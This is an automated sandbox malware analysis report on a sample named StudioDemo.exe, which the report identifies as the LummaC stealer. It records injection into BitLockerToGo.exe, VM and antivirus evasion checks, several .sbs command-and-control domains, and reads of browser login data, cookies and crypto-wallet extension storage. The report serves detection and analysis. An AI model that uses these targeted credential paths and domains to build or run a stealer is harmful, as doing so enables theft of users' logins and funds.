Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.NewFromBytes
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.newAddress
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.encode
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.Checksum
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.decode
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.ValidateChecksum
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.hash
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.MarshalBinary
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalBinary
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalCBOR
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalCBOR
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.init.1
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.init
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Bytes
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Empty
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Marshal
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalBinary
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalJSON
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Payload
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Protocol
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).String
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Unmarshal
Source: StudioDemo.exe	String found in binary or memory: net/addrselect.go
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address@v0.0.5/address.go
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address@v0.0.5/address.go
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address@v0.0.5/constants.go
Source: StudioDemo.exe	String found in binary or memory: github.com/aws/jsii-runtime-go@v1.103.1/internal/kernel/load.go
Source: StudioDemo.exe	String found in binary or memory: github.com/aws/aws-cdk-go/awscdk/v2@v2.163.1/awsec2/LaunchTemplate.go
Source: StudioDemo.exe	String found in binary or memory: github.com/aws/aws-cdk-go/awscdk/v2@v2.163.1/awsec2/LaunchTemplate__checks.go
Source: StudioDemo.exe	String found in binary or memory: github.com/aws/aws-cdk-go/awscdk/v2@v2.163.1/awsec2/LaunchTemplateRequireImdsv2Aspect.go
Source: StudioDemo.exe	String found in binary or memory: github.com/aws/aws-cdk-go/awscdk/v2@v2.163.1/awsec2/LaunchTemplateRequireImdsv2Aspect__checks.go
Source: StudioDemo.exe	String found in binary or memory: github.com/saferwall/pe@v1.5.4/loadconfig.go

Source: C:\Users\user\Desktop\StudioDemo.exe

File read: C:\Users\user\Desktop\StudioDemo.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\StudioDemo.exe "C:\Users\user\Desktop\StudioDemo.exe"
Source: C:\Users\user\Desktop\StudioDemo.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\StudioDemo.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\StudioDemo.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\StudioDemo.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\StudioDemo.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: StudioDemo.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: StudioDemo.exe

Static file information: File size 27028992 > 1048576

Source: StudioDemo.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x93b200
Source: StudioDemo.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0xfac400

Source: StudioDemo.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: StudioDemo.exe, 00000000.00000002.1896152018.000000000B5B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: StudioDemo.exe, 00000000.00000002.1896152018.000000000B5B0000.00000004.00001000.00020000.00000000.sdmp

Source: StudioDemo.exe

Static PE information: section name: .symtab

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00426003 push cs; mov dword ptr [esp], 00010900h	1_2_00426007
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043EAA0 push eax; mov dword ptr [esp], 60676665h	1_2_0043EAAE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0044BBE5 push cs; ret	1_2_0044BBEF

Source: C:\Users\user\Desktop\StudioDemo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 432

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2027661792.00000000028FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2027822964.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2026428559.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2026944627.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2026428559.00000000028FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2016768984.0000000002922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2027822964.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2026428559.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2026944627.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2016768984.0000000002922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_
Source: StudioDemo.exe, 00000000.00000002.1894494203.0000000002A7C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_00441A80 LdrInitializeThunk,

1_2_00441A80

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\StudioDemo.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\StudioDemo.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: StudioDemo.exe, 00000000.00000002.1896367280.000000000B67E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: offybirhtdi.sbs
Source: StudioDemo.exe, 00000000.00000002.1896367280.000000000B67E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: activedomest.sbs
Source: StudioDemo.exe, 00000000.00000002.1896367280.000000000B67E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: arenbootk.sbs
Source: StudioDemo.exe, 00000000.00000002.1896367280.000000000B67E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mediavelk.sbs
Source: StudioDemo.exe, 00000000.00000002.1896367280.000000000B67E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: definitib.sbs
Source: StudioDemo.exe, 00000000.00000002.1896367280.000000000B67E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: elaboretib.sbs
Source: StudioDemo.exe, 00000000.00000002.1896367280.000000000B67E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: strikebripm.sbs
Source: StudioDemo.exe, 00000000.00000002.1896367280.000000000B67E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: ostracizez.sbs
Source: StudioDemo.exe, 00000000.00000002.1896367280.000000000B67E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: armretire.sbs

Writes to foreign memory regions

Source: C:\Users\user\Desktop\StudioDemo.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 26A1008	Jump to behavior
Source: C:\Users\user\Desktop\StudioDemo.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\StudioDemo.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\StudioDemo.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 447000	Jump to behavior
Source: C:\Users\user\Desktop\StudioDemo.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 44A000	Jump to behavior
Source: C:\Users\user\Desktop\StudioDemo.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 45A000	Jump to behavior

Source: C:\Users\user\Desktop\StudioDemo.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

Jump to behavior

Source: C:\Users\user\Desktop\StudioDemo.exe	Queries volume information: C:\Users\user\Desktop\StudioDemo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\StudioDemo.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\StudioDemo.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: BitLockerToGo.exe, 00000001.00000003.2026352736.0000000004DDC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011385968.0000000004DDC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: BitLockerToGo.exe, 00000001.00000003.1991014838.000000000298C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000001.00000003.2016568055.0000000002999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000001.00000003.1991014838.0000000002986000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
